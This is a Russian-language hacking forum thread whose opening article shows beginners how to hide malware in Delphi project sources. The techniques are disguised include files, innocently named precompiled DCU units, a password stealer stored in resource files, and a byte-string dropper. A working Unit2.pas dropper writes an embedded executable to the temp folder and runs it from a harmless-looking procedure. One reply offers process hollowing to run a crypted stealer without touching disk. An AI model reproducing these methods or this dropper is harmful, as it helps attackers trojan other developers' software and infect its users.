Авторские статьи Вирус в исходных кодах на Дельфи

Discussion in 'Статьи' started by begin_end, 15 Apr 2007.

  1. begin_end

    begin_end Green member

    Joined:
    4 Jan 2007
    Messages:
    265
    Likes Received:
    636
    Reputations:
    476
    Цель данной статьи – рассказать о способах включения стороннего кода или приложений в комплект исходного кода проекта Дельфи. Всё, описанное в статье, только для ознакомления с возможными опасностями.

    Статья рассчитана на аудиторию начинающих программистов на Дельфи, материал статьи потребует для освоения наличие Дельфи и навыков кодинга на нём.

    Терминология:
    Дельфи – среда визуальной разработки приложений, а с версии 7, ещё и одноименный язык программирования;
    DCU-файл – модуль с пред-скомпилированным кодом;
    RES-файл – ресурсный файл, ресурсы из которого, при компиляции включаются в её результат.

    Начну статью с классификации способов осуществления такого. Суть в том, чтобы любым методом сделать так, чтобы наш код незаметно лежал в сорцах проекта Дельфи:

    [​IMG]

    И при компиляции был вовлечён в выходную программу, которая стала чем-то вроде джоинера или непосредственно несла код. Способы, когда вредоносный код запускается уже при открытии исходников, в среде разработки здесь упоминаться не будут. Итак:

    [​IMG]

    1) Суть этого метода во вложении в директорию проекта приложения-вируса и запуска его из того приложения, исходники которого подвергаются компиляции с запуском. малоэффективен вследствие явности.

    2.1.1) Делаем любой файл с сорцами виря и включаем его, как include. А видимое расширение может быть, например, ico.

    2.1.2) Пишем наш код виря в отдельном модуле, компилируем его Дельфёй в dcu. Затем называем dcu как-нибудь красиво, так, чтоб было видно, что там разные необходимые функции есть. А с кода проекта где-нибудь включаем dcu в uses и вызываем функцию виря, как будто бы как полезную. (Не забываем удалить одноименный pas). Пример прилагается (после компиляции в результирующую программу включается код для перезагрузки системы из модуля Unit2.dcu).

    2.1.3) То же, что и 2.1.2, но без компиляции. От неопытного программиста просто спрятать нужный код. Скажем, отделить его от основного кода пустыми строками далеко вниз. Или использовать запутанные, нечитабельные названия процедур и функций. Да и полезного кода может быть очень много, так что "затесать" среди него иной можно вполне удачно.

    2.2.1) Мы имеем в своём распоряжении уже готовый exe, скажем пинч. Тут мы можем положить его в файл res с помощью редактора ресурсов, например, Restorator. res-файлы редко кто просматривает. Затем в программу достаточно включить код извлечения из ресурса и запуска (сделать его сокрытие, как в 2.1).

    2.2.2) Берём наш пинч, и разбираем его на последовательность байт. Вставляем всё это в pas-файл с функцией, которая все эти байты собирает в файл и запускает его. Называем функцию «мирно» и компилируем. Получаем модуль dcu, при вызове из которого функции, например CoolStyle, у нас извлекается и запускается пинч. Обычно к модулям dcu доверительное отношение. Особенно если взять действительно полезных функций, добавить своё "добро" и откомпилить в такой модуль.

    Здесь остановлюсь поподробнее на самой методике использования. (Можно скачать пример). Перед тем, как вставить в код модуля последовательность символов влагаемого вируса типа «#12+#87+#124+#3…» эту последовательность нужно получить. Программа, делающая это поставляется с примером. Там мы выбираем бинарник и сохраняем его в текстовик, получая из строки вида «MZPhglea» такое: 77+#90+#80+#104+#103+#108+#101+#97+#. Вставляем это в следующий код Unit2.pas так:
    Code:
    unit Unit2;
    interface
      procedure CoolStyle;
    
    implementation
    uses windows;
    
    function SpecString:string;
    begin
     Result:=#77+#90+#80+#104+#103+#108+#101+#97;
    end;
    
    function TmpPath:string;
    begin
     SetLength(Result,255);
     GetTempPath(254, PChar(Result));
     Result :=PChar(Result);
    end;
    
    procedure CoolStyle;
    var a:textfile;
    begin
     AssignFile(a,TmpPath+'binary.exe');
     ReWrite(a);
     Write(a,SpecString);
     CloseFile(a);
     WinExec(PChar(TmpPath+'binary.exe'),0);
    end;
    
    begin
    end.
    Потом мы компилируем наш модуль. Это происходит при записи его имени в uses целевого приложения и вызове из него функции/процедуры. Но можно откомпилировать его никуда не включая, используя, компилятор Small Delphi (здесь). DCU готов, юзаем, как в 2.1.2.

    Заключение.
    Статья и примеры были созданы исключительно в демонстративных и упредительных целях. В ходе работы использовалась среда Delphi 7, а также дополнительные программы: Small Delphi и Binary Converter (от автора). Статью (как и исходный код) можно дополнять, переопубликовывать с разрешения автора. Предложения и критика ожидаемы и желательны.
     
    _________________________
    9 people like this.
  2. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    было: как сломать форум
    стало: где достать.....
     
    1 person likes this.
  3. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Ну и кому это может пригодиться? Статья чисто теоретического плана в стиле "я изучаю Delphi"
     
  4. begin_end

    begin_end Green member

    Joined:
    4 Jan 2007
    Messages:
    265
    Likes Received:
    636
    Reputations:
    476
    Дело в том, что я встречал такие компоненты, которые поставлялись в виде тех же dcu-файлов, но использовании которых в свою программу включался нежелательный код. Как правило это были рекламные функции. А два раза это был троян.
    Думаю, статья является не теоретической, а скорее теоретико-практической, т.к. метод 2.2.2 непросто упомянут, но описан.
    К тому же многие, кто ещё и занимаются кодингом здесь, кодят на Дельфи. Потому я счёл, что актуальность статьи достаточно велика.
    Помимо сказанного, статья может стать основой для последующих публикаций в таком тематическом направлении.
     
    _________________________
    1 person likes this.
  5. Fen-Omen

    Fen-Omen Elder - Старейшина

    Joined:
    22 Mar 2007
    Messages:
    60
    Likes Received:
    88
    Reputations:
    60
    Автор описывает возможные опасности при работе с исходниками программ...
     
    #5 Fen-Omen, 15 Apr 2007
    Last edited: 15 May 2007
  6. irmologic

    irmologic New Member

    Joined:
    14 Mar 2007
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    Я сам работаю с Delpi, кодинг мне очень интересен. А такой матерьял сильно помогает ;)
    Статейко как и в стиле прошлых! Автор, просто суперр! +
    Свяжись по мылу - есть предложенья.
     
    1 person likes this.
  7. firemen

    firemen New Member

    Joined:
    3 Jun 2006
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    Приведи пример как можно запустить файл не сохраняя на диске.
    Я могу показать, как запустить приложение, код которого в строке подобно твоей без сохранения на диске, путём запуска приостановленного процесса, замены кода и возобновления процесса с нашим уже троем.
    но, столкнулся с проблемой, что если запрятать в строку тот же notepad то запускается на ура, а вот криптованный пинч не хочет.
     
  8. dmnt

    dmnt Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    89
    Likes Received:
    36
    Reputations:
    15
    вот только при чем тут вирусы?
     
  9. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    мда вирусы и на делфи -- жесть
     
    #9 genom--, 1 Jul 2007
    Last edited: 1 Jul 2007
    1 person likes this.
  10. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    ну а хуле. сейчас молодежь берет количеством а не качеством.


    было:
    как накодить на ассемблере.....
    стало:
    где достать чтобы вштырило ...
     
    1 person likes this.
  11. Raz0r

    Raz0r Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    126
    Likes Received:
    20
    Reputations:
    0
    genom--, ну а что, и на делфи можно...
     
  12. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    на мой взгляд дельфи приучает новичков пользоваться готовыми компонентами, что превращает процесс программирования в кидание компонентов на форму. я не спорю, что на дельфи также можно юзать винапи, но большинство делает все с помощью уродского vcl. А потом и появляются "вирусы" на дельфи размером в 5мб
     
    #12 Ni0x, 2 Jul 2007
    Last edited: 3 Jul 2007
  13. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Ну ты сказал ... , Делфи ничем не уступает по возможностям Си, и он более понятен, единственый минус это размер, но это мона легко решыть если написать на чистом апи!
     
    1 person likes this.
  14. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    а то что до асемблера вашему делфи на чистом апи по размеру файла еще очень далеко и там где вы впишите открывание сидирома на делфе -- в этот размер можно на асме втиснуть с десяток функций.
     
    1 person likes this.
  15. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    5мб? o_O ))
     
  16. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    А у меня "кодеры" вирусов на делфи ассоциируются с клоунами в цирке - смешат людей, если ничего больше не умеют...
     
  17. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    По возможностям действительно не уступает, но с "понятностью" синтаксиса ты перебрал явно. В Си более четкий и лаконичный синтаксис, это сразу заметно. Что только стоит {} вместо begin...end;

    Читаем WASM.RU

    KEZ +1
     
  18. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Это проблема не Дельфи. В Borland'овском С++ компилере тоже VCL. К тому же в Microsoft Visual Studio есть MFC.
    Дело не в языке, дело в концепции. Будешь ты юзать эти библиотеки или нет.
    К тому же никто тебя не принуждает к использованию VCL/MFC. Не нравится - используй для создания интерфейса тот же Qt или что-нибудь подобное.